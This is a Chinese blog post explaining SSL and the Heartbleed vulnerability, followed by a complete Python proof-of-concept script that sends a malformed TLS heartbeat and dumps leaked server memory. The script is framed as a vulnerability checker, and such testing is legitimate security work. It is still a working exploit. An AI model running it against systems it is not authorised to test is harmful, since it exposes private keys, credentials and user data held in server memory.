一个检测OpenSSL心脏出血漏洞的Python脚本分享


Posted in Python onApril 10, 2014

什么是SSL?

SSL是一种流行的加密技术,可以保护用户通过互联网传输的隐私信息。网站采用此加密技术后,第三方无法读取你与该网站之间的任何通讯信息。在后台,通过SSL加密的数据只有接收者才能解密。

SSL最早在1994年由网景推出,1990年代以来已经被所有主流浏览器采纳。

什么是“心脏出血”漏洞?

SSL标准包含一个心跳选项,允许SSL连接一端的电脑发出一条简短的信息,确认另一端的电脑仍然在线,并获取反馈。研究人员发现,可以通过巧妙的手段发出恶意心跳信息,欺骗另一端的电脑泄露机密信息。受影响的电脑可能会因此而被骗,并发送服务器内存中的信息。

谁发现的这个问题?

该漏洞是由Codenomicon和谷歌安全部门的研究人员独立发现的。为了将影响降到最低,研究人员已经与OpenSSL团队和其他关键的内部人士展开了合作,在公布该问题前就已经准备好修复方案。

检测OpenSSL心脏出血漏洞的Python脚本

#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                 
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay
def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False
        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True
        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
if __name__ == '__main__':
    main()
Python 相关文章推荐
python解决字典中的值是列表问题的方法
Mar 04 Python
python基础教程之缩进介绍
Aug 29 Python
Python3生成手写体数字方法
Jan 30 Python
pandas.DataFrame 根据条件新建列并赋值的方法
Apr 08 Python
人工神经网络算法知识点总结
Jun 11 Python
Python3简单实现串口通信的方法
Jun 12 Python
详解python编译器和解释器的区别
Jun 24 Python
python3 下载网络图片代码实例
Aug 27 Python
Python图像处理模块ndimage用法实例分析
Sep 05 Python
python getpass实现密文实例详解
Sep 24 Python
python 中Arduino串口传输数据到电脑并保存至excel表格
Oct 14 Python
快速查找Python安装路径方法
Feb 06 Python
Python删除指定目录下过期文件的2个脚本分享
Apr 10 #Python
python实现随机密码字典生成器示例
Apr 09 #Python
Python下的Mysql模块MySQLdb安装详解
Apr 09 #Python
使用python实现递归版汉诺塔示例(汉诺塔递归算法)
Apr 08 #Python
python计算圆周长、面积、球体体积并画出圆
Apr 08 #Python
python实现类似ftp传输文件的网络程序示例
Apr 08 #Python
Python collections模块实例讲解
Apr 07 #Python
You might like
excellent!――ASCII Art(由目标图象生成ascii)
2007/02/20 PHP
使用Limit参数优化MySQL查询的方法
2008/11/12 PHP
Laravel6.18.19如何优雅的切换发件账户
2020/06/14 PHP
翻译整理的jQuery使用查询手册
2007/03/07 Javascript
Javascript 中文字符串处理额外注意事项
2009/11/15 Javascript
IE6弹出“已终止操作”的解决办法
2010/11/27 Javascript
10款非常有用的 Ajax 插件分享
2012/03/14 Javascript
Javascript 异步加载详解(浏览器在javascript的加载方式)
2012/05/20 Javascript
js 获取计算后的样式写法及注意事项
2013/02/25 Javascript
基于jquery实现一张图片点击鼠标放大再点缩小
2013/09/29 Javascript
php跨域调用json的例子
2013/11/13 Javascript
如何书写高质量jQuery代码(使用jquery性能问题)
2014/06/30 Javascript
Vue2.0组件间数据传递示例
2017/03/07 Javascript
jQuery实现扑克正反面翻牌效果
2017/03/10 Javascript
vue如何使用 Slot 分发内容实例详解
2017/09/05 Javascript
vue2.0+vue-dplayer实现hls播放的示例
2018/03/02 Javascript
用vuex写了一个购物车H5页面的示例代码
2018/12/04 Javascript
Vue路由 重定向和别名的区别说明
2020/09/09 Javascript
JavaScript实现手风琴效果
2021/02/18 Javascript
JavaScript 判断浏览器是否是IE
2021/02/19 Javascript
Python enumerate遍历数组示例应用
2008/09/06 Python
Python搭建APNS苹果推送通知推送服务的相关模块使用指南
2016/06/02 Python
python flask实现分页效果
2017/06/27 Python
python 请求服务器的实现代码(http请求和https请求)
2018/05/25 Python
python hough变换检测直线的实现方法
2019/07/12 Python
Python实现直方图均衡基本原理解析
2019/08/08 Python
Python实现的爬取豆瓣电影信息功能案例
2019/09/15 Python
python 用opencv实现霍夫线变换
2020/11/27 Python
python如何修改文件时间属性
2021/02/05 Python
详解python第三方库的安装、PyInstaller库、random库
2021/03/03 Python
css3隔行变换色实现示例
2014/02/19 HTML / CSS
小浪底导游词
2015/02/12 职场文书
2015年创先争优活动总结
2015/03/27 职场文书
Mysql查询时间区间日期列表,不会由于数据表数据影响
2022/04/19 MySQL
通过feDisplacementMap和feImage实现水波特效
2022/04/24 HTML / CSS
MySQL数据库实验实现简单数据库应用系统设计
2022/06/21 MySQL